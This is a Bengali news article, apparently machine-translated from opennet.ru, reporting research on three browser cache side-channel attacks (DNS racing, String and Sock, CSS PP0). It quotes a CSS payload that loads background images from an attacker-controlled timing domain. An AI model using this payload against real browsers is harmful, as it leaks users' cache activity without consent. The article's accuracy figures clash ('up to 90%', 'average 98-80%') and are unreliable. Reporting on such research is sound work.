জাভাস্ক্রিপ্ট ছাড়া একটি ওয়েব ব্রাউজারে সিপিইউ ক্যাশে নিষ্কাশন আক্রমণ প্রয়োগ করা হয়েছে

বেশ কয়েকটি আমেরিকান, ইসরায়েলি এবং অস্ট্রেলিয়ান বিশ্ববিদ্যালয়ের গবেষকদের একটি দল প্রসেসর ক্যাশের বিষয়বস্তু সম্পর্কে তথ্য বের করতে ওয়েব ব্রাউজারে চালানো তিনটি আক্রমণ তৈরি করেছে। একটি পদ্ধতি জাভাস্ক্রিপ্ট ছাড়া ব্রাউজারে কাজ করে, এবং অন্য দুটি পার্শ্ব-চ্যানেল আক্রমণের বিরুদ্ধে সুরক্ষার বিদ্যমান পদ্ধতিগুলিকে বাইপাস করে, যার মধ্যে টর ব্রাউজার এবং ডিটারফক্স ব্যবহার করা হয়। আক্রমণগুলি প্রদর্শনের জন্য কোড, সেইসাথে আক্রমণগুলির জন্য প্রয়োজনীয় সার্ভার উপাদানগুলি, GitHub-এ প্রকাশিত হয়।

ক্যাশের বিষয়বস্তু বিশ্লেষণ করার জন্য, সমস্ত আক্রমণ প্রাইম+প্রোব পদ্ধতি ব্যবহার করে, যার মধ্যে রয়েছে মানগুলির একটি মানক সেট দিয়ে ক্যাশে পূরণ করা এবং তাদের রিফিল করার সময় অ্যাক্সেসের সময় পরিমাপ করে পরিবর্তনগুলি সনাক্ত করা। ব্রাউজারগুলিতে উপস্থিত নিরাপত্তা ব্যবস্থাগুলিকে বাইপাস করতে যা সঠিক সময় পরিমাপের সাথে হস্তক্ষেপ করে, দুটি বিকল্পে, আক্রমণকারী দ্বারা নিয়ন্ত্রিত একটি DNS বা WebSocket সার্ভারের কাছে একটি আবেদন করা হয়, যা অনুরোধ প্রাপ্তির সময়ের একটি লগ রাখে। একটি মূর্তিতে, একটি নির্দিষ্ট DNS প্রতিক্রিয়া সময় একটি সময়ের রেফারেন্স হিসাবে ব্যবহৃত হয়।

বাহ্যিক DNS বা WebSocket সার্ভার ব্যবহার করে করা পরিমাপ, মেশিন লার্নিং-এর উপর ভিত্তি করে একটি শ্রেণিবিন্যাস সিস্টেম ব্যবহার করে, সবচেয়ে অনুকূল পরিস্থিতিতে (গড় 98-80%) 90% পর্যন্ত নির্ভুলতার সাথে মানগুলির পূর্বাভাস দেওয়ার জন্য যথেষ্ট ছিল। আক্রমণের পদ্ধতিগুলি বিভিন্ন হার্ডওয়্যার প্ল্যাটফর্মে (Intel, AMD Ryzen, Apple M1, Samsung Exynos) পরীক্ষা করা হয়েছে এবং সর্বজনীন বলে প্রমাণিত হয়েছে।

DNS রেসিং আক্রমণের প্রথম রূপটি জাভাস্ক্রিপ্ট অ্যারে ব্যবহার করে প্রাইম+প্রোব পদ্ধতির একটি ক্লাসিক বাস্তবায়ন ব্যবহার করে। পার্থক্যগুলি একটি বাহ্যিক DNS-ভিত্তিক টাইমার এবং একটি অনেরর হ্যান্ডলারের ব্যবহারে ফুটে ওঠে, যা একটি অস্তিত্বহীন ডোমেন থেকে একটি চিত্র লোড করার চেষ্টা করা হলে ট্রিগার হয়। একটি বহিরাগত টাইমার ব্রাউজারগুলিতে প্রাইম+প্রোব আক্রমণের অনুমতি দেয় যা জাভাস্ক্রিপ্ট টাইমারগুলিতে অ্যাক্সেস সীমিত বা সম্পূর্ণরূপে অক্ষম করে।

একই ইথারনেট নেটওয়ার্কে অবস্থিত একটি DNS সার্ভারের জন্য, টাইমারের নির্ভুলতা আনুমানিক 2 ms, যা একটি পার্শ্ব-চ্যানেল আক্রমণ চালানোর জন্য যথেষ্ট (তুলনার জন্য, টর ব্রাউজারে স্ট্যান্ডার্ড জাভাস্ক্রিপ্ট টাইমারের নির্ভুলতা হল কমে 100 ms)। আক্রমণের জন্য, ডিএনএস সার্ভারের উপর নিয়ন্ত্রণের প্রয়োজন হয় না, যেহেতু অপারেশনটি কার্যকর করার সময়টি নির্বাচন করা হয়েছে যাতে ডিএনএস থেকে প্রতিক্রিয়া সময় চেকটি পূর্বে সমাপ্তির একটি চিহ্ন হিসাবে কাজ করে (অনরর হ্যান্ডলারটি ট্রিগার হয়েছিল কিনা তার উপর নির্ভর করে আগে বা পরে, ক্যাশে দিয়ে চেক অপারেশনের গতি সম্পর্কে একটি উপসংহার টানা হয়)।

দ্বিতীয় আক্রমণ পদ্ধতি, "স্ট্রিং এবং সক", এর লক্ষ্য হল নিরাপত্তা কৌশলগুলিকে বাইপাস করা যা জাভাস্ক্রিপ্টে অ্যারেগুলির নিম্ন-স্তরের ব্যবহারকে সীমাবদ্ধ করে। অ্যারের পরিবর্তে, স্ট্রিং এবং সক খুব বড় স্ট্রিংগুলিতে অপারেশন ব্যবহার করে, যার আকারটি বেছে নেওয়া হয় যাতে ভেরিয়েবলটি সম্পূর্ণ এলএলসি ক্যাশে (শেষ স্তরের ক্যাশে) জুড়ে থাকে। এরপরে, indexOf() ফাংশন ব্যবহার করে, স্ট্রিং-এ একটি ছোট সাবস্ট্রিং অনুসন্ধান করা হয়, যা উৎস স্ট্রিং-এ প্রাথমিকভাবে অনুপস্থিত থাকে, যেমন সার্চ অপারেশনের ফলে পুরো স্ট্রিং জুড়ে পুনরাবৃত্তি হয়। যেহেতু লাইনের আকার এলএলসি ক্যাশের আকারের সাথে মিলে যায়, তাই স্ক্যানিং আপনাকে অ্যারেগুলি পরিচালনা না করেই ক্যাশে চেক অপারেশন করতে দেয়। বিলম্ব পরিমাপ করতে, DNS এর পরিবর্তে, আক্রমণকারী দ্বারা নিয়ন্ত্রিত একটি ওয়েবসকেট সার্ভারে একটি কল করা হয় - অনুসন্ধান অপারেশন শেষ হওয়ার আগে এবং পরে, লাইনে প্রশ্ন পাঠানো হয়, যার ভিত্তিতে সার্ভার ক্যাশে বিশ্লেষণ করতে ব্যবহৃত বিলম্ব গণনা করে বিষয়বস্তু

"CSS PP0" আক্রমণের তৃতীয় রূপটি HTML এবং CSS এর মাধ্যমে প্রয়োগ করা হয় এবং JavaScript নিষ্ক্রিয় থাকা ব্রাউজারে কাজ করতে পারে। পদ্ধতিটি "স্ট্রিং এবং সক" এর মতো, কিন্তু জাভাস্ক্রিপ্টের সাথে আবদ্ধ নয়। আক্রমণের সময়, CSS নির্বাচকদের একটি সেট তৈরি করা হয় যা মাস্ক দ্বারা অনুসন্ধান করে। প্রারম্ভিক বড় স্ট্রিং যা ক্যাশে পূরণ করে তা একটি খুব বড় শ্রেণীর নামের সাথে একটি ডিভ ট্যাগ তৈরি করে সেট করা হয়। ভিতরে তাদের নিজস্ব শনাক্তকারী সহ অন্যান্য ডিভের একটি সেট রয়েছে। এই নেস্টেড ডিভগুলির প্রত্যেকটির নিজস্ব স্টাইল আছে একটি নির্বাচক সহ যা একটি সাবস্ট্রিং অনুসন্ধান করে। একটি পৃষ্ঠা রেন্ডার করার সময়, ব্রাউজার প্রথমে ভিতরের ডিভগুলি প্রক্রিয়া করার চেষ্টা করে, যার ফলে একটি বড় সারিতে একটি অনুসন্ধান অপারেশন হয়। অনুসন্ধানটি ইচ্ছাকৃতভাবে অনুপস্থিত মাস্ক ব্যবহার করে সঞ্চালিত হয় এবং পুরো লাইনে পুনরাবৃত্তির দিকে নিয়ে যায়, যার পরে "না" শর্তটি ট্রিগার করা হয় এবং র্যান্ডম ডোমেনগুলি উল্লেখ করে একটি পটভূমি চিত্র লোড করার চেষ্টা করা হয়: #pp:not([ class*='xjtoxg']) # s0 {ব্যাকগ্রাউন্ড-ইমেজ: url("https://qdlvibmr.helldomain.oy.ne.ro");} #pp:not([class*='gzstxf']) # s1 {background-image: url(" https://licfsdju.helldomain.oy.ne.ro");} ... X X ...

সাবডোমেনগুলি আক্রমণকারীর DNS সার্ভার দ্বারা পরিবেশিত হয়, যা অনুরোধগুলি গ্রহণে বিলম্ব পরিমাপ করতে পারে। DNS সার্ভার সমস্ত অনুরোধের জন্য NXDOMAIN ইস্যু করে এবং অনুরোধের সঠিক সময়ের একটি লগ রাখে। ডিভের একটি সেট প্রক্রিয়াকরণের ফলে, আক্রমণকারীর ডিএনএস সার্ভার একাধিক অনুরোধ গ্রহণ করে, যার মধ্যে বিলম্বগুলি ক্যাশে বিষয়বস্তু পরীক্ষা করার ফলাফলের সাথে সম্পর্কযুক্ত।

উত্স: opennet.ru